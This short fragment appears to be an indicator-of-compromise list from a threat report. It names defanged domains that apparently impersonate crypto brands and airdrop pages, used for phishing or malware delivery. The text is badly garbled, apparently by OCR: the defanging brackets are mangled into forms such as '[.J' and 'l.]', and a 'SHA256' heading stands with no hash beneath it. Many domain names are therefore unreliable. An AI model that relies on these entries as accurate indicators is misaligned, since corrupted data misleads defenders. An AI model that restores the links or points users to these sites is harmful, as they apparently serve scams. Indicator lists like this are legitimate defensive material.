nexloop[.]Jme

nexloopl[.]xyz

zyncel[.Jorg

opulousail.Jcom

opulousapp[.Jcom

opulousappl.Jorg

texdezyn[.Jcom

kkKKKK[.]digital

vixcall[.Jcom

vixcallail.]io

vixcall[.]io

vixcall[.Jlive

shperia[.]Japp

playspheria[.]xyz

spheriagames|.]xyz

delgone[.]space

asterdex-drop[.]Jeu

asterdrop[.]Jrun

fluencedropl.]digital

aster-dex[.]Jeu

asterdrop[.]digital

sunperpl.Jicu

meteoradrop[.Jcom

fluencedropl[.]Jeu

defillamal.]Jpro

coinkbase[.Jcom

blurbox[.]xyz

1inhc[.Jcom

laxminarayanfinancepvtitd[.Jcom

news18banglal.]in

pancakeswap[.]Jnetwork

metamask987[.Jcom pancakescwapl.]finance

SHA256

claim.arbdogeail.]xyz
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